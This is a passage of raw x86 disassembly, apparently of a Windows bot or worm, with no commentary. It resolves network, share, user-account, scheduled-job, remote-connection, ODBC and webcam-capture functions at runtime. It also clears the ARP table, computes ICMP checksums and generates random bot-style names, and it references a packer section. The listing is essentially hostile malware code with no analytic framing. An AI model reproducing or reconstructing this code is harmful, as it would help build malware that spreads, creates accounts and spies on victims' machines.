		cmp	dword_4CE260, ebx
		jz	loc_409FB3
		cmp	dword_4CE388, ebx
		jz	loc_409FB3
		cmp	dword_4CE3A4, ebx
		jz	loc_409FB3
		cmp	dword_4CE2B0, ebx
		jz	loc_409FB3
		cmp	dword_4CE394, ebx
		jz	loc_409FB3
		cmp	dword_4CE348, ebx
		jz	loc_409FB3
		cmp	dword_4CE308, ebx
		jz	loc_409FB3
		cmp	dword_4CE304, ebx
		jz	loc_409FB3
		cmp	dword_4CE238, ebx
		jz	short loc_409FB3
		cmp	dword_4CE358, ebx
		jz	short loc_409FB3
		cmp	dword_4CE36C, ebx
		jz	short loc_409FB3
		cmp	dword_4CE320, ebx
		jz	short loc_409FB3
		cmp	dword_4CE2E0, ebx
		jz	short loc_409FB3
		cmp	dword_4CE334, ebx
		jz	short loc_409FB3
		cmp	dword_4CE2F0, ebx
		jz	short loc_409FB3
		cmp	dword_4CE330, ebx
		jz	short loc_409FB3
		cmp	dword_4CE39C, ebx
		jz	short loc_409FB3
		cmp	dword_4CE2E8, ebx
		jz	short loc_409FB3
		cmp	dword_4CE2AC, ebx
		jz	short loc_409FB3
		cmp	dword_4CE31C, ebx
		jz	short loc_409FB3
		cmp	dword_4CE38C, ebx
		jz	short loc_409FB3
		cmp	dword_4CE2C0, ebx
		jz	short loc_409FB3
		cmp	eax, ebx
		jnz	short loc_409FBD
		jmp	short loc_409FB3
; ---------------------------------------------------------------------------


loc_409FA8:				; CODE XREF: sub_4097DE+51Fj
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE3E8, eax


loc_409FB3:				; CODE XREF: sub_4097DE+6BEj
					; sub_4097DE+6CAj ...
		mov	dword_4CE3E4, 1


loc_409FBD:				; CODE XREF: sub_4097DE+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0C2
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CE244, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CE1CC, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CE2D0, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CE27C, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CE2DC, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CE2A0, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CE20C, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CE204, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CE214, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE244, ebx
		mov	ecx, dword_4CE2A0
		mov	dword_4CE33C, eax
		jz	short loc_40A09E
		cmp	dword_4CE1CC, ebx
		jz	short loc_40A09E
		cmp	dword_4CE2D0, ebx
		jz	short loc_40A09E
		cmp	dword_4CE27C, ebx
		jz	short loc_40A09E
		cmp	dword_4CE2DC, ebx
		jz	short loc_40A09E
		cmp	ecx, ebx
		jz	short loc_40A09E
		cmp	dword_4CE20C, ebx
		jz	short loc_40A09E
		cmp	dword_4CE204, ebx
		jz	short loc_40A09E
		cmp	dword_4CE214, ebx
		jz	short loc_40A09E
		cmp	eax, ebx
		jnz	short loc_40A0A8


loc_40A09E:				; CODE XREF: sub_4097DE+87Ej
					; sub_4097DE+886j ...
		mov	dword_4CE3EC, 1


loc_40A0A8:				; CODE XREF: sub_4097DE+8BEj
		cmp	ecx, ebx
		jz	short loc_40A0DD
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4CE2B8, eax
		jnz	short loc_40A0DD
		jmp	short loc_40A0D7
; ---------------------------------------------------------------------------


loc_40A0C2:				; CODE XREF: sub_4097DE+7EAj
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE3F0, eax
		mov	dword_4CE3EC, 1


loc_40A0D7:				; CODE XREF: sub_4097DE+8E2j
		mov	dword_4CE2B8, ebx


loc_40A0DD:				; CODE XREF: sub_4097DE+8CCj
					; sub_4097DE+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A127
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CE290, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CE3BC, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE290, ebx
		mov	dword_4CE220, eax
		jz	short loc_40A132
		cmp	dword_4CE3BC, ebx
		jz	short loc_40A132
		cmp	eax, ebx
		jnz	short loc_40A13C
		jmp	short loc_40A132
; ---------------------------------------------------------------------------


loc_40A127:				; CODE XREF: sub_4097DE+90Aj
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE3F8, eax


loc_40A132:				; CODE XREF: sub_4097DE+939j
					; sub_4097DE+941j ...
		mov	dword_4CE3F4, 1


loc_40A13C:				; CODE XREF: sub_4097DE+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A243
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CE1FC, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CE1D4, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CE24C, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CE280, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CE398, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CE234, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CE1E0, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CE1D0, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CE268, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CE360, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CE318, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE1FC, ebx
		mov	dword_4CE23C, eax
		jz	short loc_40A24E
		cmp	dword_4CE1D4, ebx
		jz	short loc_40A24E
		cmp	dword_4CE24C, ebx
		jz	short loc_40A24E
		cmp	dword_4CE280, ebx
		jz	short loc_40A24E
		cmp	dword_4CE398, ebx
		jz	short loc_40A24E
		cmp	dword_4CE234, ebx
		jz	short loc_40A24E
		cmp	dword_4CE1E0, ebx
		jz	short loc_40A24E
		cmp	dword_4CE1D0, ebx
		jz	short loc_40A24E
		cmp	dword_4CE268, ebx
		jz	short loc_40A24E
		cmp	dword_4CE360, ebx
		jz	short loc_40A24E
		cmp	dword_4CE318, ebx
		jnz	short loc_40A258
		jmp	short loc_40A24E
; ---------------------------------------------------------------------------


loc_40A243:				; CODE XREF: sub_4097DE+969j
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE400, eax


loc_40A24E:				; CODE XREF: sub_4097DE+A11j
					; sub_4097DE+A19j ...
		mov	dword_4CE3FC, 1


loc_40A258:				; CODE XREF: sub_4097DE+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A28D
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CE224, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE224, ebx
		mov	dword_4CE300, eax
		jz	short loc_40A298
		cmp	eax, ebx
		jnz	short loc_40A2A2
		jmp	short loc_40A298
; ---------------------------------------------------------------------------


loc_40A28D:				; CODE XREF: sub_4097DE+A85j
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE408, eax


loc_40A298:				; CODE XREF: sub_4097DE+AA7j
					; sub_4097DE+AADj
		mov	dword_4CE404, 1


loc_40A2A2:				; CODE XREF: sub_4097DE+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2D7
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CE384, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE384, ebx
		mov	dword_4CE380, eax
		jz	short loc_40A2E2
		cmp	eax, ebx
		jnz	short loc_40A2EC
		jmp	short loc_40A2E2
; ---------------------------------------------------------------------------


loc_40A2D7:				; CODE XREF: sub_4097DE+ACFj
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE410, eax


loc_40A2E2:				; CODE XREF: sub_4097DE+AF1j
					; sub_4097DE+AF7j
		mov	dword_4CE40C, 1


loc_40A2EC:				; CODE XREF: sub_4097DE+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A34B
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CE3B0, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CE3A8, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CE370, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE3B0, ebx
		mov	dword_4CE240, eax
		jz	short loc_40A356
		cmp	dword_4CE3A8, ebx
		jz	short loc_40A356
		cmp	dword_4CE370, ebx
		jz	short loc_40A356
		cmp	eax, ebx
		jnz	short loc_40A360
		jmp	short loc_40A356
; ---------------------------------------------------------------------------


loc_40A34B:				; CODE XREF: sub_4097DE+B19j
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE418, eax


loc_40A356:				; CODE XREF: sub_4097DE+B55j
					; sub_4097DE+B5Dj ...
		mov	dword_4CE414, 1


loc_40A360:				; CODE XREF: sub_4097DE+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A395
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CE274, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE274, ebx
		mov	dword_4CE37C, eax
		jz	short loc_40A3A0
		cmp	eax, ebx
		jnz	short loc_40A3AA
		jmp	short loc_40A3A0
; ---------------------------------------------------------------------------


loc_40A395:				; CODE XREF: sub_4097DE+B8Dj
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE420, eax


loc_40A3A0:				; CODE XREF: sub_4097DE+BAFj
					; sub_4097DE+BB5j
		mov	dword_4CE41C, 1


loc_40A3AA:				; CODE XREF: sub_4097DE+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A433
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CE344, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CE390, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CE2CC, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CE284, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CE324, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE344, ebx
		mov	dword_4CE294, eax
		jz	short loc_40A43E
		cmp	dword_4CE390, ebx
		jz	short loc_40A43E
		cmp	dword_4CE2CC, ebx
		jz	short loc_40A43E
		cmp	dword_4CE284, ebx
		jz	short loc_40A43E
		cmp	dword_4CE324, ebx
		jz	short loc_40A43E
		cmp	eax, ebx
		jnz	short loc_40A448
		jmp	short loc_40A43E
; ---------------------------------------------------------------------------


loc_40A433:				; CODE XREF: sub_4097DE+BD7j
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE428, eax


loc_40A43E:				; CODE XREF: sub_4097DE+C2Dj
					; sub_4097DE+C35j ...
		mov	dword_4CE424, 1


loc_40A448:				; CODE XREF: sub_4097DE+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A47D
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CE258, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE258, ebx
		mov	dword_4CE338, eax
		jz	short loc_40A488
		cmp	eax, ebx
		jnz	short loc_40A492
		jmp	short loc_40A488
; ---------------------------------------------------------------------------


loc_40A47D:				; CODE XREF: sub_4097DE+C75j
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE430, eax


loc_40A488:				; CODE XREF: sub_4097DE+C97j
					; sub_4097DE+C9Dj
		mov	dword_4CE42C, 1


loc_40A492:				; CODE XREF: sub_4097DE+C9Bj
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_4097DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A49A	proc near		; CODE XREF: sub_401AA1+24D4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CE3C4, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A4E2
		push	dword_4CE3C8
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A4E2:				; CODE XREF: sub_40A49A+1Aj
		cmp	dword_4CE3CC, esi
		jz	short loc_40A516
		push	dword_4CE3D0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A516:				; CODE XREF: sub_40A49A+4Ej
		cmp	dword_4CE3D4, esi
		jz	short loc_40A54A
		push	dword_4CE3D8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A54A:				; CODE XREF: sub_40A49A+82j
		cmp	dword_4CE3DC, esi
		jz	short loc_40A57E
		push	dword_4CE3E0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A57E:				; CODE XREF: sub_40A49A+B6j
		cmp	dword_4CE3E4, esi
		jz	short loc_40A5B2
		push	dword_4CE3E8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A5B2:				; CODE XREF: sub_40A49A+EAj
		cmp	dword_4CE3EC, esi
		jz	short loc_40A5E6
		push	dword_4CE3F0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A5E6:				; CODE XREF: sub_40A49A+11Ej
		cmp	dword_4CE3F4, esi
		jz	short loc_40A61A
		push	dword_4CE3F8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A61A:				; CODE XREF: sub_40A49A+152j
		cmp	dword_4CE3FC, esi
		jz	short loc_40A64E
		push	dword_4CE400
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A64E:				; CODE XREF: sub_40A49A+186j
		cmp	dword_4CE404, esi
		jz	short loc_40A682
		push	dword_4CE408
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A682:				; CODE XREF: sub_40A49A+1BAj
		cmp	dword_4CE40C, esi
		jz	short loc_40A6B6
		push	dword_4CE410
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A6B6:				; CODE XREF: sub_40A49A+1EEj
		cmp	dword_4CE414, esi
		jz	short loc_40A6EA
		push	dword_4CE418
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A6EA:				; CODE XREF: sub_40A49A+222j
		cmp	dword_4CE41C, esi
		jz	short loc_40A71E
		push	dword_4CE420
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A71E:				; CODE XREF: sub_40A49A+256j
		cmp	dword_4CE424, esi
		jz	short loc_40A752
		push	dword_4CE428
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A752:				; CODE XREF: sub_40A49A+28Aj
		cmp	dword_4CE42C, esi
		jz	short loc_40A786
		push	dword_4CE430
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h


loc_40A786:				; CODE XREF: sub_40A49A+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_42FEEC
		push	eax
		call	sub_41BEF6
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A7B3
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_40A7B3:				; CODE XREF: sub_40A49A+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415F45
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A49A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A7C5	proc near		; CODE XREF: sub_4017BF+4Fp
					; sub_401AA1+5BA0p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CE348	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A7ED
		push	[esp+arg_0]
		call	dword_4CE38C	; gethostbyname
		test	eax, eax
		jnz	short loc_40A7E6
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A7E6:				; CODE XREF: sub_40A7C5+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A7ED:				; CODE XREF: sub_40A7C5+Dj
		retn
sub_40A7C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A7EE	proc near		; CODE XREF: sub_4017BF+D6p
		mov	ecx, dword_4CE224
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A7FC
		jmp	ecx
; ---------------------------------------------------------------------------

locret_40A7FC:				; CODE XREF: sub_40A7EE+Aj
		retn
sub_40A7EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7FD	proc near		; CODE XREF: sub_401AA1:loc_403E94p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CE384	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	short loc_40A884
		sub	ecx, 32h
		jz	loc_40A8CE
		sub	ecx, 48h
		jz	short loc_40A859
		sub	ecx, 6Eh
		jz	short loc_40A852


loc_40A83B:				; CODE XREF: sub_40A7FD+85j
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_43011C
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		jmp	short loc_40A8AF
; ---------------------------------------------------------------------------


loc_40A852:				; CODE XREF: sub_40A7FD+3Cj
		push	offset unk_4300F8
		jmp	short loc_40A8A1
; ---------------------------------------------------------------------------


loc_40A859:				; CODE XREF: sub_40A7FD+37j
		push	[ebp+var_8]
		call	sub_41BB45
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BC00
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A89C
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CE384	; GetIpNetTable
		cmp	eax, edi
		jnz	short loc_40A83B


loc_40A884:				; CODE XREF: sub_40A7FD+29j
		cmp	[esi], edi
		jbe	short loc_40A8BF
		lea	ebx, [esi+4]


loc_40A88B:				; CODE XREF: sub_40A7FD+9Bj
		push	ebx
		call	dword_4CE380	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A88B
		jmp	short loc_40A8BF
; ---------------------------------------------------------------------------


loc_40A89C:				; CODE XREF: sub_40A7FD+75j
		push	offset unk_4300C8


loc_40A8A1:				; CODE XREF: sub_40A7FD+5Aj
					; sub_40A7FD+D6j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_40A8AF:				; CODE XREF: sub_40A7FD+53j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415F45
		pop	ecx


loc_40A8BF:				; CODE XREF: sub_40A7FD+89j
					; sub_40A7FD+9Dj
		push	esi
		call	sub_41B721
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A8CE:				; CODE XREF: sub_40A7FD+2Ej
		push	offset unk_430098
		jmp	short loc_40A8A1
sub_40A7FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8D5	proc near		; CODE XREF: sub_401AA1+219Ap
					; sub_401AA1+22D1p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE2AC	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CE434
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41BEF6
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A8D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A92E	proc near		; CODE XREF: sub_4138D3+24Cp
					; sub_4138D3+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_40A959
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+8+arg_0]


loc_40A94C:				; CODE XREF: sub_40A92E+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_40A94C
		pop	edi
		jmp	short loc_40A95D
; ---------------------------------------------------------------------------


loc_40A959:				; CODE XREF: sub_40A92E+Aj
		mov	esi, [esp+4+arg_0]


loc_40A95D:				; CODE XREF: sub_40A92E+29j
		test	ecx, ecx
		jz	short loc_40A966
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_40A966:				; CODE XREF: sub_40A92E+31j
		mov	ecx, edx
		and	edx, 0FFFFh
		shr	ecx, 10h
		add	ecx, edx
		pop	esi
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40A92E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A97E	proc near		; CODE XREF: sub_40AD20+4Dp
					; DATA XREF: .XPack0:off_430168o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		call	sub_41BF52
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	off_4301E8[edx*4]
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41BFF0
		xor	esi, esi
		add	esp, 14h
		cmp	dword_42A984, esi
		jle	short loc_40A9E5


loc_40A9BF:				; CODE XREF: sub_40A97E+65j
		call	sub_41BF52
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DAB0
		push	1Ch
		push	edi
		call	sub_41BFF0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A984
		jl	short loc_40A9BF


loc_40A9E5:				; CODE XREF: sub_40A97E+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40A97E	endp

; ---------------------------------------------------------------------------
